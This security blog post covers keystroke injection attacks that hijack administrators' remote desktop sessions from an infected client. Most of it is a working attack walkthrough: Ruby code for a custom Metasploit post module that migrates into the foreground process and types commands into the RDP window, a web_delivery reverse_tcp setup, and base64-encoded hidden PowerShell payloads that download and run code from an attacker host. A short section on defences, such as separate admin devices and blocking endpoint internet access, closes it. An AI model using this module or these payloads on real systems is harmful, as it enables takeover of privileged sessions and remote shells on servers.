Safeguarding privileged access management in the age of remote work
How VDI Systems Have Helped Organizations Maintain Productivity Amid the Pandemic
As the COVID-19 pandemic continues, more and more employees are continuing to work from home. While this offers flexibility and convenience, it also presents new security challenges. In particular, the increased use of virtual desktop infrastructure (VDI) systems like Remote Desktop, VMWare Horizon, CyberARK, Guacamole, and Citrix, as well as bring your own device (BYOD) policies, has made it more important than ever to safeguard remote access.
Virtual Desktop Infrastructure (VDI) Systems for Privileged Access Management (PAM)
Virtual desktop infrastructure (VDI) systems are not only used by employees to access corporate systems remotely, but they are also used by IT administrators for privileged access management (PAM). PAM is the process of controlling and monitoring access to sensitive systems and networks, and it is an important part of any organization's security strategy. By using VDI systems for PAM, IT administrators can ensure that only authorized users have access to the remote desktop environment, and that their activities are monitored for potential threats. This helps to keep sensitive systems and networks secure, even in the face of advanced attackers.
Relation of PAM to Active Directory Administration
PAM is also an essential component of the modern corporate IT-administration within the popular Microsoft approaches to secure a corporate Active Directory: ESAE (Red Forest) and RaMP.
Privileged Administration | ESAE | RaMP |
---|---|---|
Scope | On-premises | On-premises and cloud (Azure AD) |
Root of trust | Admins, PAW, Tier 0 | Admins, Cloud (“Cloud is a source of security.”), Tier 0 |
Status | deprecated (except OT, regulated envs., high security assurance envs.) | Recommended (lower cost, quicker to implemented) |
Access model | Tier model | Enterprise access model (zero trust, spans to cloud) |
Tier 0 | Tier 0: DC, CA, SCCM | Old Tier 0 + AAD connect, M365 global admins, cloud admin consoles |
Privileged access strategy | On premises PAWs / SAWs | Cloud hosted intermediaries (PAWs, VDI, VPN, Jump hosts, MFA, JIT, conditional access); Then access via interfaces (powershell remoting, M365, AWS, MMC, ssh) |
MFA | Duo, Yubikey | Azure AD Multi-Factor Authentication |
Overlaps: Revoke local admin privileges where possible, LAPS, PAWs, admin group cleaning
Uncovering the Hidden Risks
One potential risk of using virtual desktop infrastructure (VDI) systems is that an infected VDI client could transitively infect a remote session. This is especially true if the client device has internet access and is used for tasks other than remote access, such as checking email or browsing the web. In this scenario, malware or other malicious software on the client device could potentially be transmitted to the remote session, putting sensitive systems and networks at risk.
Exploring the Risks of Keystroke Injection Attacks on Remote Desktop Sessions
Keystroke injection is a type of attack that involves sending malicious input to a computer, typically through a hardware device or software program. By injecting keystrokes into an administrative workstation, an attacker could potentially take control of any remote sessions that the user has open. For example, if the user has an RDP, Citrix, CyberArk, SSH, or VNC session open, the attacker could use the keystroke injection to gain access to these sessions and take over control. This could allow the attacker to perform actions on the remote system, such as accessing sensitive data or executing malicious code. In this way, keystroke injection can be a powerful tool for attackers looking to gain unauthorized access to systems and networks.
Keystroke Injection in Action: Using Metasploit to Hack a Privileged Remote Session
Now that we have discussed the basics of keystroke injection attacks and the potential risks they pose to remote desktop environments, let's take a closer look at how these attacks can be carried out in practice. One popular tool for performing keystroke injection attacks is Metasploit, a widely-used open-source framework for developing, testing, and executing exploits. In this case, we will be using a Metasploit post-exploitation module called rdp_hid_injection.rb
which allows an attacker to inject keystrokes into a remote desktop session. By using this module, we will demonstrate how an attacker can gain unauthorized access to a privileged remote session, even when clipboard and fileshare mapping are disabled.
Video of the attack
Before we get into the technical details, here is a demo of the attack:
Metasploit Keystroke Injection Primitives
keyboard_send
and keyevent
commands can be used to simulate keystrokes in a remote system using meterpreter. The keyboard_send
command allows us to send individual keystrokes or strings of text, while the keyevent
command allows us to send key events, such as pressing or releasing a specific key.
Here's an example of how we might use the keyboard_send
command to send the string Hello, world!
to the remote system:
keyboard_send "Hello, world!"
And here's an example of how we might use the keyevent
command to simulate pressing the Enter
key:
keyevent 13
One challenge with using Metasploit's keystroke injection module is that neither of these commands includes an option to specify the target process. As a result, the keystrokes or key events that we send with these commands will be sent to the active window on the remote system.
Sending the Keystrokes to the Correct Process
Therefore, if we want to simulate keystrokes in a specific process using meterpreter
, we would need to ensure that the target process is in the foreground before injecting the keystrokes.
First we get the PID of the current foreground window.
def get_foreground_pid()
foreground_window = client.railgun.user32.GetForegroundWindow()
foreground_window_handle = foreground_window['return']
print_good("Found foreground window handle #{foreground_window_handle}")
foreground_window_pid = get_pid_for_handle(foreground_window_handle)
return foreground_window_pid
# Idea, here we can lookup more information like the user context
# [+] {"pid"=>6232, "ppid"=>440, "name"=>"rdpclip.exe", "path"=>"C:\\Windows\\System32\\rdpclip.exe", "session"=>2, "user"=>"PC1\\student"
session.sys.process.get_processes().each do |x|
if x['pid'] == foreground_window_pid
print_good("Found foreground process: #{x}")
end
end
end
After that, we need to bring the remote desktop session window to the foreground. This can be a bit tricky, as Windows imposes rules on which processes are allowed to bring windows to the foreground.
The system restricts which processes can set the foreground window. A process can set the foreground window only if one of the following conditions is true:
- The process is the foreground process.
- The process was started by the foreground process.
- The process received the last input event.
- There is no foreground process.
- The process is being debugged.
- The foreground process is not a Modern Application or the Start Screen.
- The foreground is not locked (see LockSetForegroundWindow).
- The foreground lock time-out has expired (see SPI_GETFOREGROUNDLOCKTIMEOUT in SystemParametersInfo).
- No menus are active.
An application cannot force a window to the foreground while the user is working with another window. Instead, Windows flashes the taskbar button of the window to notify the user.
By leveraging the capabilities of the migrate
command, we can overcome the restrictions imposed by windows on foreground processes, and use keystroke injection to gain access to the remote desktop environment.
We use migrate
to move into the current foreground process, and then use this privileged position to bring the RDP window to the foreground.
def migrate_and_bring_window_to_foreground(foreground_pid, remote_session_handle)
print_status("Migrating into #{foreground_pid}")
# we need to inject into the foreground window because of these rules
# https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setforegroundwindow
migrated = migrate_to_foreground_process(foreground_pid)
if migrated
print_good("Migration to #{foreground_pid} successful")
else
print_error("Failed to migrate into #{foreground_pid}")
return 1
end
# We are running in the foreground window now. So we can bring the remote sesssion
# to the foreground and interact with it
print_status("Bringing window to foreground")
foreground_window = client.railgun.user32.SetForegroundWindow(remote_session_handle)
end
def migrate_to_foreground_process(targetpid)
mypid = session.sys.process.getpid
if mypid == targetpid
print_good("Already in foreground no need to migrate")
return true
else
print_status("Migrating from PID: #{mypid} to #{targetpid}")
begin
session.core.migrate(targetpid)
rescue
print_error("Unable to migrate, try getsystem first")
return false
end
print_good("Migrated to : #{targetpid} successfully")
return true
end
end
To open a run command within an RDP session, the session must be in fullscreen mode. To enter fullscreen mode, we can simply run the following key sequence: Windows + Up. This will expand the RDP session to fill the entire screen, allowing us to access the run command and other applications.
def make_rdp_fullscreen_when_in_foreground()
# make it a full screen: window key and up
# we need this to successfully open a run prompt in the remote session
print_status("Making window full-screen")
send_keyevent('windows', 'down')
send_keyevent('up', 'press')
send_keyevent('windows', 'up')
end
After that we can open a run prompt and start injecting the payload
#send escape key to try to get into a consistent state
send_keyevent('escape', 'press')
print_status("Opening run prompt")
# open a run prompt; windows+r
send_keyevent('windows', 'down')
send_keyevent('r', 'press')
send_keyevent('windows', 'up')
# open powershell
print_status("Sending RUN_CMD")
run_cmd = datastore["RUN_CMD"] || nil
session.ui.keyboard_send(run_cmd)
send_keyevent('enter', 'press')
cmd = datastore["CMD"] || nil
if cmd != nil
print_status("Sleeping 3 seconds")
delay = datastore["DELAY"] || nil
sleep(3)
# sending command
print_status("Sending CMD")
session.ui.keyboard_send(cmd)
send_keyevent('enter', 'press')
end
cmd_exit = datastore["CMD_EXIT"] || nil
if cmd_exit != nil
print_status("Sending CMD_EXIT")
session.ui.keyboard_send(cmd_exit)
send_keyevent('enter', 'press')
end
# minimize fullscreen window again
print_status("Minimizing window again")
send_keyevent('ctrl', 'down')
send_keyevent('alt', 'down')
send_keyevent('home', 'press')
send_keyevent('alt', 'up')
send_keyevent('ctrl', 'up')
# https://superuser.com/questions/207534/keyboard-shortcut-to-minimize-remote-desktop
send_keyevent('alt', 'down')
send_keyevent('tab', 'press')
send_keyevent('alt', 'up')
Download
You can find the complete post module here rdp_hid_inject.rc
To install it place it into /usr/share/metasploit-framework/modules/post/windows/manage/rdp_hid_inject.rc
and reload_all
modules of the msfconsole
Execution
The module can be used together with a Powershell-Payload:
use exploit/multi/script/web_delivery
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set SRVHOST 10.5.0.101
set SRVPORT 9999
set LHOST 10.5.0.101
set LPORT 10000
set target 2
set EnableStageEncoding true
set StageEncoder x64/zutto_dekiru
exploit -j
The resulting payload is
powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABlADMAPQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AGkAZgAoAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFAAcgBvAHgAeQBdADoAOgBHAGUAdABEAGUAZgBhAHUAbAB0AFAAcgBvAHgAeQAoACkALgBhAGQAZAByAGUAcwBzACAALQBuAGUAIAAkAG4AdQBsAGwAKQB7ACQAZQAzAC4AcAByAG8AeAB5AD0AWwBOAGUAdAAuAFcAZQBiAFIAZQBxAHUAZQBzAHQAXQA6ADoARwBlAHQAUwB5AHMAdABlAG0AVwBlAGIAUAByAG8AeAB5ACgAKQA7ACQAZQAzAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4ANQAuADAALgAxADAAMQA6ADkAOQA5ADkALwBnAHcAVQBHAE8AaQBwAFgAUwA5AHoALwBwAFAATwBhAGwAcgBNACcAKQApADsASQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADAALgA1AC4AMAAuADEAMAAxADoAOQA5ADkAOQAvAGcAdwBVAEcATwBpAHAAWABTADkAegAnACkAKQA7AA==
Within the meterpeter session that is open to the RDP client we need to load extapi
. Currently we use that in the module to map the window handles to process id. But it should be possible to rewrite the module to work without extapi
using Railgun.
sessions -i 1
load extapi
background
Now we can execute the post module using the payload generated earlier
use post/windows/manage/rdp_hid_infect
set SESSION 1
set CMD "powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJAB5ADIAZQA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ADsAaQBmACgAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUAByAG8AeAB5AF0AOgA6AEcAZQB0AEQAZQBmAGEAdQBsAHQAUAByAG8AeAB5ACgAKQAuAGEAZABkAHIAZQBzAHMAIAAtAG4AZQAgACQAbgB1AGwAbAApAHsAJAB5ADIAZQAuAHAAcgBvAHgAeQA9AFsATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEcAZQB0AFMAeQBzAHQAZQBtAFcAZQBiAFAAcgBvAHgAeQAoACkAOwAkAHkAMgBlAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4ANQAuADAALgAxADAAMQA6ADkAOQA5ADkALwA4AEIAUQB1AFcASQBGADcAeABLAGcAVQAvAFUAOQBEADgAcQBrAHEASgBSAHAAcwByADIAeAAnACkAKQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4ANQAuADAALgAxADAAMQA6ADkAOQA5ADkALwA4AEIAUQB1AFcASQBGADcAeABLAGcAVQAnACkAKQA7AA=="
exploit
The Trade-Offs Between Security and Usability
To address this issue, it is important for organizations to consider adopting a better security posture when it comes to VDI and especially privileged access management (PAM). One key measure is to secure the endpoint, such as the client device used to access the remote session. An effective strategy is to use two separate devices for each task: one for privileged administration and one for normal daily work. This can help to prevent cross-contamination of malware and other threats between the two environments, and it also allows IT administrators to more effectively monitor and control access to sensitive systems. Alternatively, organizations can also consider using virtual machines (VMs) for PAM, where the host is a minimal, hardened system and the guests are the PAM access environment and the normal work environment. By implementing these approaches, organizations can improve the security of their VDI systems and reduce the risk of transitive infections in remote sessions.
Another effective measure is to revoke public internet access on the endpoint device used for remote access. Instead, only VPN connections to the VDI systems should be allowed. This can help to prevent malware and other threats from being transmitted to the remote session, and it also reduces the attack surface of the device.
Restricting internet access from the remote server also effectively prevents the malware from establishing a control and command connection.
The post module code
This is the windows/manage/rdp_hid_infect
code that is located in /usr/share/metasploit-framework/modules/post/windows/manage/rdp_hid_infect.rb
Screenshots of the module execution
With an remote desktop session opened
We generate the payload.
Assuming that we have a session 1
to the infected the Windows system, we than proceed to load extapi
Then we execute the post exploitation module
If everything worked out we get a second session from within the remote server.